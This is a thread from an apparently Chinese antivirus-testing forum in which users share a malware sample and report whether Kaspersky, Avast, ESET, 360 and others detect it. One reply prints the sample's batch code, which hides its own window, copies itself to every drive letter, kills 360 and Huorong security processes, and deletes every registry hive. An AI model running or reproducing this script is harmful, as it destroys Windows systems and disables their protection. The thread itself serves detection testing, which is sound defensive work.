随便来一个

显示全部楼层 · 发表于 2019-4-9 21:28:03

本帖最后由，就一个. 于 2019-4-9 21:59 编辑

刚刚那个发错了更新了一下样本
infected

显示全部楼层 · 发表于 2019-4-9 21:28:55

本帖最后由 huang1111 于 2019-4-9 21:30 编辑

卡巴删除.bat文件，还有3个为隐藏文件，卡巴没管，不过也没有办法导致蓝屏

显示全部楼层 · 发表于 2019-4-9 21:50:20

智量Kill 3X

显示全部楼层 · 发表于 2019-4-9 21:50:39

本帖最后由 a233 于 2019-4-9 21:54 编辑

Avast扫描Miss，双击无法蓝屏，Win10加成

？(已用管理员身份运行)

显示全部楼层 · 发表于 2019-4-9 21:55:16

FS无视

显示全部楼层 · 发表于 2019-4-9 22:00:36

a233 发表于 2019-4-9 21:50
Avast扫描Miss，双击无法蓝屏，Win10加成？(已用管理员身份运行)

这个不蓝屏的样本更新了一下试试

显示全部楼层 · 发表于 2019-4-9 22:03:50

本帖最后由 a233 于 2019-4-9 22:07 编辑

智量依然杀三个

显示全部楼层 · 发表于 2019-4-9 22:04:12

本帖最后由 a233 于 2019-4-9 22:05 编辑

Avast扫描Miss 双击防御失败

显示全部楼层 · 发表于 2019-4-9 22:12:16

飞碟1234 发表于 2019-4-9 21:55
FS无视

DG应该可以吧

显示全部楼层 · 发表于 2019-4-9 22:15:45

本帖最后由霄栋于 2019-4-9 22:20 编辑

ESET扫描miss。DBI目前特征有限，肯定不管这类，HIPS默认规则可能拦不住

emm，结束360进程，还行（不过VT上360确实检出了）那个hipstray貌似是火绒的？

@echo off
if "%1" == "h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""HKEY_Killer.bat"" h",0)(window.close)&&exit
:begin
REM
start msg.vbs
ping 127.0.0.1 -n 101
start color.bat
start 蓝屏.hta
copy HKEY_Killer.bat A:\%random%.bat
copy HKEY_Killer.bat B:\%random%.bat
copy HKEY_Killer.bat C:\%random%.bat
copy HKEY_Killer.bat D:\%random%.bat
copy HKEY_Killer.bat E:\%random%.bat
copy HKEY_Killer.bat F:\%random%.bat
copy HKEY_Killer.bat G:\%random%.bat
copy HKEY_Killer.bat H:\%random%.bat
copy HKEY_Killer.bat I:\%random%.bat
copy HKEY_Killer.bat J:\%random%.bat
copy HKEY_Killer.bat K:\%random%.bat
copy HKEY_Killer.bat L:\%random%.bat
copy HKEY_Killer.bat M:\%random%.bat
copy HKEY_Killer.bat N:\%random%.bat
copy HKEY_Killer.bat O:\%random%.bat
copy HKEY_Killer.bat P:\%random%.bat
copy HKEY_Killer.bat Q:\%random%.bat
copy HKEY_Killer.bat R:\%random%.bat
copy HKEY_Killer.bat S:\%random%.bat
copy HKEY_Killer.bat T:\%random%.bat
copy HKEY_Killer.bat U:\%random%.bat
copy HKEY_Killer.bat V:\%random%.bat
copy HKEY_Killer.bat W:\%random%.bat
copy HKEY_Killer.bat X:\%random%.bat
copy HKEY_Killer.bat Y:\%random%.bat
copy HKEY_Killer.bat Z:\%random%.bat
taskkill -f -im 360rp.exe -t
taskkill -f -im 360sd.exe -t
taskkill -f -im 360tray.exe -t
taskkill -f -im HipsTray.exe -t
reg delete HKCU /f
reg delete HKCR /f
reg delete HKU /f
reg delete HKCC /f
reg delete HKLM /f

[病毒样本] 随便来一个

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块